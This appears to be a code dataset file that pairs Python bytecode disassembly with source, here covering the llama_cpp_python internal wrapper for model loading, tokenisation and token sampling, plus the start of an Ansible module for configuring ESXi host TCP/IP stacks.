LOAD_METHOD sample_temp LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR temp CALL_METHOD POP_TOP LOAD_FAST ctx_main LOAD_METHOD sample_token_mirostat LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR mirostat_tau LOAD_FAST self LOAD_ATTR params LOAD_ATTR mirostat_eta LOAD_FAST mirostat_m LOAD_GLOBAL ctypes LOAD_METHOD pointer LOAD_FAST self LOAD_ATTR mirostat_mu CALL_METHOD CALL_METHOD STORE_FAST id JUMP_FORWARD to 654 LOAD_FAST self LOAD_ATTR params LOAD_ATTR mirostat LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD sample_temp LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR temp CALL_METHOD POP_TOP LOAD_FAST ctx_main LOAD_METHOD sample_token_mirostat_v2 LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR mirostat_tau LOAD_FAST self LOAD_ATTR params LOAD_ATTR mirostat_eta LOAD_GLOBAL ctypes LOAD_METHOD pointer LOAD_FAST self LOAD_ATTR mirostat_mu CALL_METHOD CALL_METHOD STORE_FAST id JUMP_FORWARD to 654 LOAD_GLOBAL max LOAD_CONST 1 LOAD_FAST self LOAD_ATTR params LOAD_ATTR n_probs CALL_FUNCTION STORE_FAST min_keep LOAD_FAST ctx_main LOAD_ATTR sample_top_k LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR top_k LOAD_FAST min_keep LOAD_CONST ('min_keep',) CALL_FUNCTION POP_TOP LOAD_FAST ctx_main LOAD_ATTR sample_tail_free LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR tfs_z LOAD_FAST min_keep LOAD_CONST ('min_keep',) CALL_FUNCTION POP_TOP LOAD_FAST ctx_main LOAD_ATTR sample_typical LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR typical_p LOAD_FAST min_keep LOAD_CONST ('min_keep',) CALL_FUNCTION POP_TOP LOAD_FAST ctx_main LOAD_ATTR sample_top_p LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR top_p LOAD_FAST min_keep LOAD_CONST ('min_keep',) CALL_FUNCTION POP_TOP LOAD_FAST ctx_main LOAD_ATTR sample_min_p LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR min_p LOAD_FAST min_keep LOAD_CONST ('min_keep',) CALL_FUNCTION POP_TOP LOAD_FAST ctx_main LOAD_METHOD sample_temp LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR params LOAD_ATTR temp CALL_METHOD POP_TOP LOAD_FAST ctx_main LOAD_METHOD sample_token LOAD_FAST token_data_array CALL_METHOD STORE_FAST id LOAD_FAST id RETURN_VALUE LOAD_FAST apply_grammar POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR grammar LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD grammar_accept_token LOAD_FAST self LOAD_ATTR grammar LOAD_FAST id CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR prev LOAD_METHOD append LOAD_FAST id CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import annotations import os import ctypes from typing import ( List, Optional, Sequence, ) from dataclasses import dataclass, field import numpy as np import numpy.typing as npt from .llama_types import * from .llama_grammar import LlamaGrammar import llama_cpp.llama_cpp as llama_cpp class _LlamaModel: """Intermediate Python wrapper for a llama.cpp llama_model. NOTE: For stability it's recommended you use the Llama class instead.""" _llama_free_model = None def __init__( self, *, path_model: str, params: llama_cpp.llama_model_params, verbose: bool = True, ): self.path_model = path_model self.params = params self.verbose = verbose self._llama_free_model = llama_cpp._lib.llama_free_model # type: ignore self.model = None if not os.path.exists(path_model): raise ValueError(f"Model path does not exist: {path_model}") self.model = llama_cpp.llama_load_model_from_file( self.path_model.encode("utf-8"), self.params ) def __del__(self): if self.model is not None and self._llama_free_model is not None: self._llama_free_model(self.model) self.model = None def vocab_type(self) -> int: assert self.model is not None return llama_cpp.llama_vocab_type(self.model) def n_vocab(self) -> int: assert self.model is not None return llama_cpp.llama_n_vocab(self.model) def n_ctx_train(self) -> int: assert self.model is not None return llama_cpp.llama_n_ctx_train(self.model) def n_embd(self) -> int: assert self.model is not None return llama_cpp.llama_n_embd(self.model) def rope_freq_scale_train(self) -> float: assert self.model is not None return llama_cpp.llama_rope_freq_scale_train(self.model) def desc(self) -> str: assert self.model is not None buf = ctypes.create_string_buffer(1024) llama_cpp.llama_model_desc(self.model, buf, 1024) # type: ignore return buf.value.decode("utf-8") def size(self) -> int: assert self.model is not None return llama_cpp.llama_model_size(self.model) def n_params(self) -> int: assert self.model is not None return llama_cpp.llama_model_n_params(self.model) def get_tensor(self, name: str) -> ctypes.c_void_p: assert self.model is not None return llama_cpp.llama_get_model_tensor(self.model, name.encode("utf-8")) def apply_lora_from_file( self, lora_path: str, scale: float, path_base_model: Optional[str], n_threads: int, ): assert self.model is not None return llama_cpp.llama_model_apply_lora_from_file( self.model, lora_path.encode("utf-8"), scale, ( path_base_model.encode("utf-8") if path_base_model is not None else llama_cpp.c_char_p(0) ), n_threads, ) def token_get_text(self, token: int) -> str: assert self.model is not None return llama_cpp.llama_token_get_text(self.model, token).decode("utf-8") def token_get_score(self, token: int) -> float: assert self.model is not None return llama_cpp.llama_token_get_score(self.model, token) def token_get_type(self, token: int) -> int: assert self.model is not None return llama_cpp.llama_token_get_type(self.model, token) def token_bos(self) -> int: assert self.model is not None return llama_cpp.llama_token_bos(self.model) def token_eos(self) -> int: assert self.model is not None return llama_cpp.llama_token_eos(self.model) def token_nl(self) -> int: assert self.model is not None return llama_cpp.llama_token_nl(self.model) def token_prefix(self) -> int: assert self.model is not None return llama_cpp.llama_token_prefix(self.model) def token_middle(self) -> int: assert self.model is not None return llama_cpp.llama_token_middle(self.model) def token_suffix(self) -> int: assert self.model is not None return llama_cpp.llama_token_suffix(self.model) def token_eot(self) -> int: assert self.model is not None return llama_cpp.llama_token_eot(self.model) def tokenize(self, text: bytes, add_bos: bool, special: bool): assert self.model is not None n_ctx = self.n_ctx_train() tokens = (llama_cpp.llama_token * n_ctx)() n_tokens = llama_cpp.llama_tokenize( self.model, text, len(text), tokens, n_ctx, add_bos, special ) if n_tokens < 0: n_tokens = abs(n_tokens) tokens = (llama_cpp.llama_token * n_tokens)() n_tokens = llama_cpp.llama_tokenize( self.model, text, len(text), tokens, n_tokens, add_bos, special ) if n_tokens < 0: raise RuntimeError( f'Failed to tokenize: text="{text}" n_tokens={n_tokens}' ) return list(tokens[:n_tokens]) def token_to_piece(self, token: int) -> bytes: assert self.model is not None buf = ctypes.create_string_buffer(32) llama_cpp.llama_token_to_piece(self.model, token, buf, 32) # type: ignore return bytes(buf) def detokenize(self, tokens: List[int]) -> bytes: assert self.model is not None output = b"" size = 32 buffer = (ctypes.c_char * size)() for token in tokens: n = llama_cpp.llama_token_to_piece( self.model, llama_cpp.llama_token(token), buffer, size ) assert n <= size output += bytes(buffer[:n]) return ( output[1:] if len(tokens) > 0 and tokens[0] == self.token_bos() else output ) def metadata(self) -> Dict[str, str]: assert self.model is not None metadata: Dict[str, str] = {} buffer_size = 1024 buffer = ctypes.create_string_buffer(buffer_size) buffer.value = b"\0" * buffer_size for i in range(llama_cpp.llama_model_meta_count(self.model)): nbytes = llama_cpp.llama_model_meta_key_by_index( self.model, i, buffer, buffer_size ) if nbytes > buffer_size: buffer_size = nbytes + 1 buffer = ctypes.create_string_buffer(buffer_size) nbytes = llama_cpp.llama_model_meta_key_by_index( self.model, i, buffer, buffer_size ) key = buffer.value.decode("utf-8") nbytes = llama_cpp.llama_model_meta_val_str_by_index( self.model, i, buffer, buffer_size ) if nbytes > buffer_size: buffer_size = nbytes + 1 buffer = ctypes.create_string_buffer(buffer_size) nbytes = llama_cpp.llama_model_meta_val_str_by_index( self.model, i, buffer, buffer_size ) value = buffer.value.decode("utf-8") metadata[key] = value return metadata @staticmethod def default_params(): """Get the default llama_model_params.""" return llama_cpp.llama_model_default_params() class _LlamaContext: """Intermediate Python wrapper for a llama.cpp llama_context. NOTE: For stability it's recommended you use the Llama class instead.""" _llama_free = None def __init__( self, *, model: _LlamaModel, params: llama_cpp.llama_context_params, verbose: bool = True, ): self.model = model self.params = params self.verbose = verbose self._llama_free = llama_cpp._lib.llama_free # type: ignore self.ctx = None assert self.model.model is not None self.ctx = llama_cpp.llama_new_context_with_model(self.model.model, self.params) def __del__(self): if self.ctx is not None and self._llama_free is not None: self._llama_free(self.ctx) self.ctx = None def n_ctx(self) -> int: assert self.ctx is not None return llama_cpp.llama_n_ctx(self.ctx) def kv_cache_clear(self): assert self.ctx is not None llama_cpp.llama_kv_cache_clear(self.ctx) def kv_cache_seq_rm(self, seq_id: int, p0: int, p1: int): assert self.ctx is not None llama_cpp.llama_kv_cache_seq_rm(self.ctx, seq_id, p0, p1) def kv_cache_seq_cp(self, seq_id_src: int, seq_id_dst: int, p0: int, p1: int): assert self.ctx is not None llama_cpp.llama_kv_cache_seq_cp(self.ctx, seq_id_src, seq_id_dst, p0, p1) def kv_cache_seq_keep(self, seq_id: int): assert self.ctx is not None llama_cpp.llama_kv_cache_seq_keep(self.ctx, seq_id) def kv_cache_seq_shift(self, seq_id: int, p0: int, p1: int, shift: int): assert self.ctx is not None llama_cpp.llama_kv_cache_seq_shift(self.ctx, seq_id, p0, p1, shift) def get_state_size(self) -> int: assert self.ctx is not None return llama_cpp.llama_get_state_size(self.ctx) def decode(self, batch: "_LlamaBatch"): assert self.ctx is not None assert batch.batch is not None return_code = llama_cpp.llama_decode( ctx=self.ctx, batch=batch.batch, ) if return_code != 0: raise RuntimeError(f"llama_decode returned {return_code}") def set_n_threads(self, n_threads: int, n_threads_batch: int): assert self.ctx is not None llama_cpp.llama_set_n_threads(self.ctx, n_threads, n_threads_batch) def get_logits(self): assert self.ctx is not None return llama_cpp.llama_get_logits(self.ctx) def get_logits_ith(self, i: int): assert self.ctx is not None return llama_cpp.llama_get_logits_ith(self.ctx, i) def get_embeddings(self): assert self.ctx is not None return llama_cpp.llama_get_embeddings(self.ctx) def set_rng_seed(self, seed: int): assert self.ctx is not None llama_cpp.llama_set_rng_seed(self.ctx, seed) def sample_repetition_penalties( self, candidates: "_LlamaTokenDataArray", last_tokens_data: "llama_cpp.Array[llama_cpp.llama_token]", penalty_last_n: int, penalty_repeat: float, penalty_freq: float, penalty_present: float, ): assert self.ctx is not None llama_cpp.llama_sample_repetition_penalties( self.ctx, ctypes.byref(candidates.candidates), # type: ignore last_tokens_data, penalty_last_n, penalty_repeat, penalty_freq, penalty_present, ) def sample_classifier_free_guidance( self, candidates: "_LlamaTokenDataArray", guidance_ctx: "_LlamaContext", scale: float, ): assert self.ctx is not None assert guidance_ctx.ctx is not None llama_cpp.llama_sample_classifier_free_guidance( self.ctx, ctypes.byref(candidates.candidates), # type: ignore guidance_ctx.ctx, scale, ) def sample_softmax(self, candidates: "_LlamaTokenDataArray"): assert self.ctx is not None llama_cpp.llama_sample_softmax( self.ctx, ctypes.byref(candidates.candidates), # type: ignore ) def sample_top_k(self, candidates: "_LlamaTokenDataArray", k: int, min_keep: int): assert self.ctx is not None llama_cpp.llama_sample_top_k( self.ctx, ctypes.byref(candidates.candidates), k, min_keep # type: ignore ) def sample_top_p(self, candidates: "_LlamaTokenDataArray", p: float, min_keep: int): assert self.ctx is not None llama_cpp.llama_sample_top_p( self.ctx, ctypes.byref(candidates.candidates), p, min_keep # type: ignore ) def sample_min_p(self, candidates: "_LlamaTokenDataArray", p: float, min_keep: int): assert self.ctx is not None llama_cpp.llama_sample_min_p( self.ctx, ctypes.byref(candidates.candidates), p, min_keep # type: ignore ) def sample_tail_free( self, candidates: "_LlamaTokenDataArray", z: float, min_keep: int ): assert self.ctx is not None llama_cpp.llama_sample_tail_free( self.ctx, ctypes.byref(candidates.candidates), z, min_keep # type: ignore ) def sample_typical( self, candidates: "_LlamaTokenDataArray", p: float, min_keep: int ): assert self.ctx is not None llama_cpp.llama_sample_typical( self.ctx, ctypes.byref(candidates.candidates), p, min_keep # type: ignore ) def sample_temp(self, candidates: "_LlamaTokenDataArray", temp: float): assert self.ctx is not None llama_cpp.llama_sample_temp( self.ctx, ctypes.byref(candidates.candidates), temp # type: ignore ) def sample_grammar(self, candidates: "_LlamaTokenDataArray", grammar: LlamaGrammar): assert self.ctx is not None assert grammar.grammar is not None llama_cpp.llama_sample_grammar( self.ctx, ctypes.byref(candidates.candidates), # type: ignore grammar.grammar, ) def sample_token_mirostat( self, candidates: "_LlamaTokenDataArray", tau: float, eta: float, m: int, mu: ctypes._Pointer[ctypes.c_float], # type: ignore ) -> int: assert self.ctx is not None return llama_cpp.llama_sample_token_mirostat( self.ctx, ctypes.byref(candidates.candidates), # type: ignore tau, eta, m, mu, ) def sample_token_mirostat_v2( self, candidates: "_LlamaTokenDataArray", tau: float, eta: float, mu: ctypes._Pointer[ctypes.c_float] # type: ignore ) -> int: assert self.ctx is not None return llama_cpp.llama_sample_token_mirostat_v2( self.ctx, ctypes.byref(candidates.candidates), # type: ignore tau, eta, mu, ) def sample_token_greedy(self, candidates: "_LlamaTokenDataArray") -> int: assert self.ctx is not None return llama_cpp.llama_sample_token_greedy( self.ctx, ctypes.byref(candidates.candidates), # type: ignore ) def sample_token(self, candidates: "_LlamaTokenDataArray") -> int: assert self.ctx is not None return llama_cpp.llama_sample_token( self.ctx, ctypes.byref(candidates.candidates), # type: ignore ) def grammar_accept_token(self, grammar: LlamaGrammar, token: int): assert self.ctx is not None assert grammar.grammar is not None llama_cpp.llama_grammar_accept_token(self.ctx, grammar.grammar, token) def reset_timings(self): assert self.ctx is not None llama_cpp.llama_reset_timings(self.ctx) def print_timings(self): assert self.ctx is not None llama_cpp.llama_print_timings(self.ctx) @staticmethod def default_params(): """Get the default llama_context_params.""" return llama_cpp.llama_context_default_params() class _LlamaBatch: _llama_batch_free = None def __init__( self, *, n_tokens: int, embd: int, n_seq_max: int, verbose: bool = True ): self.n_tokens = n_tokens self.embd = embd self.n_seq_max = n_seq_max self.verbose = verbose self._llama_batch_free = llama_cpp._lib.llama_batch_free # type: ignore self.batch = None self.batch = llama_cpp.llama_batch_init( self.n_tokens, self.embd, self.n_seq_max ) def __del__(self): if self.batch is not None and self._llama_batch_free is not None: self._llama_batch_free(self.batch) self.batch = None def n_tokens(self) -> int: assert self.batch is not None return self.batch.n_tokens def reset(self): assert self.batch is not None self.batch.n_tokens = 0 def set_batch(self, batch: Sequence[int], n_past: int, logits_all: bool): assert self.batch is not None n_tokens = len(batch) self.batch.n_tokens = n_tokens for i in range(n_tokens): self.batch.token[i] = batch[i] self.batch.pos[i] = n_past + i self.batch.seq_id[i][0] = 0 self.batch.n_seq_id[i] = 1 self.batch.logits[i] = logits_all self.batch.logits[n_tokens - 1] = True def add_sequence(self, batch: Sequence[int], seq_id: int, logits_all: bool): assert self.batch is not None n_tokens = len(batch) n_tokens0 = self.batch.n_tokens self.batch.n_tokens += n_tokens for i in range(n_tokens): j = n_tokens0 + i self.batch.token[j] = batch[i] self.batch.pos[j] = i self.batch.seq_id[j][0] = seq_id self.batch.n_seq_id[j] = 1 self.batch.logits[j] = logits_all self.batch.logits[n_tokens - 1] = True class _LlamaTokenDataArray: def __init__(self, *, n_vocab: int): self.n_vocab = n_vocab self.candidates_data = np.array( [], dtype=np.dtype( [("id", np.intc), ("logit", np.single), ("p", np.single)], align=True ), ) self.candidates_data.resize(3, self.n_vocab, refcheck=False) self.candidates = llama_cpp.llama_token_data_array( data=self.candidates_data.ctypes.data_as(llama_cpp.llama_token_data_p), size=self.n_vocab, sorted=False, ) self.default_candidates_data_id = np.arange(self.n_vocab, dtype=np.intc) self.default_candidates_data_p = np.zeros(self.n_vocab, dtype=np.single) def copy_logits(self, logits: npt.NDArray[np.single]): self.candidates_data["id"][:] = self.default_candidates_data_id self.candidates_data["logit"][:] = logits self.candidates_data["p"][:] = self.default_candidates_data_p self.candidates.data = self.candidates_data.ctypes.data_as( llama_cpp.llama_token_data_p ) self.candidates.sorted = llama_cpp.c_bool(False) self.candidates.size = llama_cpp.c_size_t(self.n_vocab) def _tokenize(model: _LlamaModel, text: str, add_bos: bool, special: bool) -> list[int]: n_tokens = len(text) + 1 if add_bos else len(text) result = (llama_cpp.llama_token * n_tokens)() n_tokens = llama_cpp.llama_tokenize( model.model, text.encode("utf-8"), len(text), result, n_tokens, add_bos, special, ) if n_tokens < 0: result = (llama_cpp.llama_token * -n_tokens)() check = llama_cpp.llama_tokenize( model.model, text.encode("utf-8"), len(text), result, len(result), add_bos, special, ) if check != -n_tokens: raise RuntimeError(f'Failed to tokenize: text="{text}" n_tokens={n_tokens}') else: result = result[:n_tokens] return list(result) def _token_to_piece(model: _LlamaModel, token: int) -> str: assert model.model is not None result = (ctypes.c_char * 8)(0) n_tokens = llama_cpp.llama_token_to_piece(model.model, token, result, len(result)) if n_tokens < 0: result = (ctypes.c_char * -n_tokens)(0) check = llama_cpp.llama_token_to_piece(model.model, token, result, len(result)) if check != -n_tokens: raise RuntimeError(f"Failed to get piece: token={token}") else: result = result[:n_tokens] return bytes(result).decode("utf-8") def _detokenize_spm(model: _LlamaModel, tokens: List[int]) -> str: bos_id = model.token_bos() result = "" for i, token in enumerate(tokens): piece = _token_to_piece(model, token) if ( (tokens[0] == bos_id and i == 1) or (tokens[0] != bos_id and i == 0) ) and piece[0] == " ": piece = piece[1:] result += piece return result def _detokenize_bpe(model: _LlamaModel, tokens: List[int]) -> str: result = "" for token in tokens: piece = _token_to_piece(model, token) result += piece return result def _should_add_bos(model: _LlamaModel) -> bool: assert model.model is not None add_bos = llama_cpp.llama_add_bos_token(model.model) if add_bos != -1: return add_bos != 0 else: return llama_cpp.llama_vocab_type(model.model) == llama_cpp.LLAMA_VOCAB_TYPE_SPM @dataclass class _LlamaSamplingParams: n_prev: int = 64 n_probs: int = 0 top_k: int = 40 top_p: float = 0.95 min_p: float = 0.05 tfs_z: float = 1.00 typical_p: float = 1.00 temp: float = 0.80 penalty_last_n: int = 64 penalty_repeat: float = 1.10 penalty_freq: float = 0.00 penalty_present: float = 0.00 mirostat: int = 0 mirostat_tau: float = 5.00 mirostat_eta: float = 0.10 penalize_nl: bool = True grammar: str = "" cfg_negative_prompt: str = "" cfg_scale: float = 1.00 logit_bias: dict[int, float] = field(default_factory=dict) @dataclass class _LlamaSamplingContext: params: _LlamaSamplingParams = field(default_factory=_LlamaSamplingParams) mirostat_mu: ctypes.c_float = field(default_factory=ctypes.c_float) grammar: Optional[LlamaGrammar] = None prev: list[int] = field(default_factory=list) cur: list[llama_cpp.llama_token_data] = field(default_factory=list) def reset(self): self.prev = [] self.cur = [] if self.grammar is not None: self.grammar.reset() def cp(self): return _LlamaSamplingContext( params=self.params, mirostat_mu=self.mirostat_mu, grammar=self.grammar, prev=self.prev.copy(), cur=self.cur.copy(), ) def last(self) -> Optional[int]: if len(self.prev) > 0: return self.prev[-1] else: return None def prev_str(self, ctx_main: _LlamaContext, n: int) -> str: return ctx_main.model.detokenize(self.prev[-n:]).decode("utf-8") def sample( self, ctx_main: _LlamaContext, ctx_cfg: Optional[_LlamaContext] = None, idx: int = 0, logits_array: Optional[npt.NDArray[np.single]] = None, ): n_vocab = ctx_main.model.n_vocab() id: int = 0 if logits_array is None: logits = ctx_main.get_logits_ith(idx) logits_array = np.array( ctypes.cast(logits, ctypes.POINTER(ctypes.c_float * n_vocab)).contents, dtype=np.single, ) for token, logit_bias in self.params.logit_bias.items(): logits_array[token] += logit_bias token_data_array = _LlamaTokenDataArray( n_vocab=n_vocab ) # TODO: Only create this once token_data_array.copy_logits(logits_array) if ctx_cfg is not None: ctx_main.sample_classifier_free_guidance( token_data_array, ctx_cfg, self.params.cfg_scale ) if len(self.prev) > 0: nl_token = ctx_main.model.token_nl() nl_logit = logits_array[nl_token] if self.params.penalty_last_n > 0: ctx_main.sample_repetition_penalties( token_data_array, (llama_cpp.llama_token * len(self.prev))(*self.prev), # type: ignore self.params.penalty_last_n, self.params.penalty_repeat, self.params.penalty_freq, self.params.penalty_present, ) if not self.params.penalize_nl: token_data_array.candidates_data["logit"][nl_token] = nl_logit if self.grammar is not None: ctx_main.sample_grammar(token_data_array, self.grammar) if self.params.temp < 0: ctx_main.sample_softmax(token_data_array) id = token_data_array.candidates_data["id"][0] elif self.params.temp == 0: id = ctx_main.sample_token_greedy(token_data_array) else: if self.params.mirostat == 1: mirostat_m = 100 ctx_main.sample_temp(token_data_array, self.params.temp) id = ctx_main.sample_token_mirostat( token_data_array, self.params.mirostat_tau, self.params.mirostat_eta, mirostat_m, ctypes.pointer(self.mirostat_mu), ) elif self.params.mirostat == 2: ctx_main.sample_temp(token_data_array, self.params.temp) id = ctx_main.sample_token_mirostat_v2( token_data_array, self.params.mirostat_tau, self.params.mirostat_eta, ctypes.pointer(self.mirostat_mu), ) else: min_keep = max(1, self.params.n_probs) ctx_main.sample_top_k( token_data_array, self.params.top_k, min_keep=min_keep ) ctx_main.sample_tail_free( token_data_array, self.params.tfs_z, min_keep=min_keep ) ctx_main.sample_typical( token_data_array, self.params.typical_p, min_keep=min_keep ) ctx_main.sample_top_p( token_data_array, self.params.top_p, min_keep=min_keep ) ctx_main.sample_min_p( token_data_array, self.params.min_p, min_keep=min_keep ) ctx_main.sample_temp(token_data_array, self.params.temp) id = ctx_main.sample_token(token_data_array) return id def accept(self, ctx_main: _LlamaContext, id: int, apply_grammar: bool): if apply_grammar and self.grammar is not None: ctx_main.grammar_accept_token(self.grammar, id) self.prev.append(id)
data/llama_cpp_python-0.2.44/llama_cpp/_internals.py
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LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST '\n---\nmodule: vmware_host_tcpip_stacks\nshort_description: Manage the TCP/IP Stacks configuration of ESXi host\nauthor:\n - sky-joker (@sky-joker)\ndescription:\n - This module can be used to modify the TCP/IP stacks configuration.\noptions:\n esxi_hostname:\n description:\n - Name of the ESXi host.\n type: str\n required: true\n default:\n description:\n - The TCP/IP stacks configuration of the I(default).\n suboptions:\n hostname:\n description:\n - The host name of the ESXi host.\n type: str\n required: true\n domain:\n description:\n - The domain name portion of the DNS name.\n type: str\n required: true\n preferred_dns:\n description:\n - The IP address of the preferred dns server.\n type: str\n alternate_dns:\n description:\n - The IP address of the alternate dns server.\n type: str\n search_domains:\n description:\n - The domain in which to search for hosts, placed in order of preference.\n default: []\n elements: str\n type: list\n gateway:\n description:\n - The ipv4 gateway address.\n type: str\n ipv6_gateway:\n description:\n - The ipv6 gateway address.\n type: str\n congestion_algorithm:\n description:\n - The TCP congest control algorithm.\n choices:\n - newreno\n - cubic\n default: newreno\n type: str\n max_num_connections:\n description:\n - The maximum number of socket connection that are requested.\n default: 11000\n type: int\n type: dict\n provisioning:\n description:\n - The TCP/IP stacks configuration of the I(provisioning).\n suboptions:\n gateway:\n description:\n - The ipv4 gateway address.\n type: str\n ipv6_gateway:\n description:\n - The ipv6 gateway address.\n type: str\n congestion_algorithm:\n description:\n - The TCP congest control algorithm.\n choices:\n - newreno\n - cubic\n default: newreno\n type: str\n max_num_connections:\n description:\n - The maximum number of socket connection that are requested.\n default: 11000\n type: int\n type: dict\n vmotion:\n description:\n - The TCP/IP stacks configuration of the I(vmotion).\n suboptions:\n gateway:\n description:\n - The ipv4 gateway address.\n type: str\n ipv6_gateway:\n description:\n - The ipv6 gateway address.\n type: str\n congestion_algorithm:\n description:\n - The TCP congest control algorithm.\n choices:\n - newreno\n - cubic\n default: newreno\n type: str\n max_num_connections:\n description:\n - The maximum number of socket connection that are requested.\n default: 11000\n type: int\n type: dict\n vxlan:\n description:\n - The TCP/IP stacks configuration of the I(vxlan).\n suboptions:\n gateway:\n description:\n - The ipv4 gateway address.\n type: str\n ipv6_gateway:\n description:\n - The ipv6 gateway address.\n type: str\n congestion_algorithm:\n description:\n - The TCP congest control algorithm.\n choices:\n - newreno\n - cubic\n default: newreno\n type: str\n max_num_connections:\n description:\n - The maximum number of socket connection that are requested.\n default: 11000\n type: int\n type: dict\n aliases:\n - nsx_overlay\nextends_documentation_fragment:\n - community.vmware.vmware.documentation\n' STORE_NAME DOCUMENTATION LOAD_CONST '\n- name: Update the TCP/IP stack configuration of the default\n community.vmware.vmware_host_tcpip_stacks:\n hostname: "{{ vcenter_hostname }}"\n username: "{{ vcenter_username }}"\n password: "{{ vcenter_password }}"\n validate_certs: false\n esxi_hostname: "{{ esxi_hostname }}"\n default:\n hostname: "{{ esxi_hostname }}"\n domain: example.com\n preferred_dns: 192.168.10.1\n alternate_dns: 192.168.20.1\n search_domains:\n - hoge.com\n - fuga.com\n gateway: 192.168.10.1\n congestion_algorithm: cubic\n max_num_connections: 12000\n\n- name: Update the TCP/IP stack configuration of the provisioning\n community.vmware.vmware_host_tcpip_stacks:\n hostname: "{{ vcenter_hostname }}"\n username: "{{ vcenter_username }}"\n password: "{{ vcenter_password }}"\n validate_certs: false\n esxi_hostname: "{{ esxi_hostname }}"\n provisioning:\n congestion_algorithm: newreno\n max_num_connections: 12000\n gateway: 10.10.10.254\n\n- name: Update the TCP/IP stack configuration of the default and provisioning\n community.vmware.vmware_host_tcpip_stacks:\n hostname: "{{ vcenter_hostname }}"\n username: "{{ vcenter_username }}"\n password: "{{ vcenter_password }}"\n validate_certs: false\n esxi_hostname: "{{ esxi_hostname }}"\n default:\n hostname: "{{ esxi_hostname }}"\n domain: example.com\n preferred_dns: 192.168.10.1\n alternate_dns: 192.168.20.1\n search_domains:\n - hoge.com\n - fuga.com\n gateway: 192.168.10.1\n congestion_algorithm: cubic\n max_num_connections: 12000\n provisioning:\n congestion_algorithm: newreno\n max_num_connections: 12000\n gateway: 10.10.10.254\n\n- name: Update the ipv6 gateway of the provisioning TCP/IP stack\n community.vmware.vmware_host_tcpip_stacks:\n hostname: "{{ vcenter_hostname }}"\n username: "{{ vcenter_username }}"\n password: "{{ vcenter_password }}"\n validate_certs: false\n esxi_hostname: "{{ esxi_hostname }}"\n provisioning:\n ipv6_gateway: ::ffff:6440:301\n' STORE_NAME EXAMPLES LOAD_CONST '\ndefault:\n description: dict of the TCP/IP stack configuration of the default.\n returned: always\n type: dict\n sample: >-\n {\n "alternate_dns": "192.168.20.1",\n "congestion_algorithm": "cubic",\n "domain": "example.com",\n "gateway": "192.168.10.1",\n "ipv6_gateway", null,\n "hostname": "esxi-test03",\n "max_num_connections": 12000,\n "preferred_dns": "192.168.10.1",\n "search_domains": [\n "hoge.com",\n "fuga.com"\n ]\n }\nprovisioning:\n description: dict of the TCP/IP stack configuration of the provisioning.\n returned: always\n type: dict\n sample: >-\n {\n "congestion_algorithm": "newreno",\n "gateway": "10.10.10.254",\n "ipv6_gateway": null,\n "max_num_connections": 12000\n }\nvmotion:\n description: dict of the TCP/IP stack configuration of the vmotion.\n returned: always\n type: dict\n sample: >-\n {\n "congestion_algorithm": "newreno",\n "gateway": null,\n "ipv6_gateway": null,\n "max_num_connections": 11000\n }\nvxlan:\n description: dict of the TCP/IP stack configuration of the vxlan.\n returned: always\n type: dict\n sample: >-\n {\n "congestion_algorithm": "newreno",\n "gateway": null,\n "ipv6_gateway": null,\n "max_num_connections": 11000\n }\n' STORE_NAME RETURN SETUP_EXCEPT to 54 LOAD_CONST 0 LOAD_CONST ('vim',) IMPORT_NAME pyVmomi IMPORT_FROM vim STORE_NAME vim POP_TOP POP_BLOCK JUMP_FORWARD to 74 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 74 END_FINALLY SETUP_EXCEPT to 92 LOAD_CONST 0 LOAD_CONST ('OrderedDict',) IMPORT_NAME collections IMPORT_FROM OrderedDict STORE_NAME OrderedDict POP_TOP POP_BLOCK JUMP_FORWARD to 150 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP SETUP_EXCEPT to 124 LOAD_CONST 0 LOAD_CONST ('OrderedDict',) IMPORT_NAME ordereddict IMPORT_FROM OrderedDict STORE_NAME OrderedDict POP_TOP POP_BLOCK JUMP_FORWARD to 144 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 144 END_FINALLY POP_EXCEPT JUMP_FORWARD to 150 END_FINALLY LOAD_CONST 0 LOAD_CONST ('AnsibleModule',) IMPORT_NAME ansible.module_utils.basic IMPORT_FROM AnsibleModule STORE_NAME AnsibleModule POP_TOP LOAD_CONST 0 LOAD_CONST ('to_text',) IMPORT_NAME ansible.module_utils._text IMPORT_FROM to_text STORE_NAME to_text POP_TOP LOAD_CONST 0 LOAD_CONST ('PyVmomi', 'vmware_argument_spec') IMPORT_NAME ansible_collections.community.vmware.plugins.module_utils.vmware IMPORT_FROM PyVmomi STORE_NAME PyVmomi IMPORT_FROM vmware_argument_spec STORE_NAME vmware_argument_spec POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object VmwareHostTcpipStack at 0x7faa7c2779c0, file "f.py", line 295> LOAD_CONST 'VmwareHostTcpipStack' MAKE_FUNCTION LOAD_CONST 'VmwareHostTcpipStack' 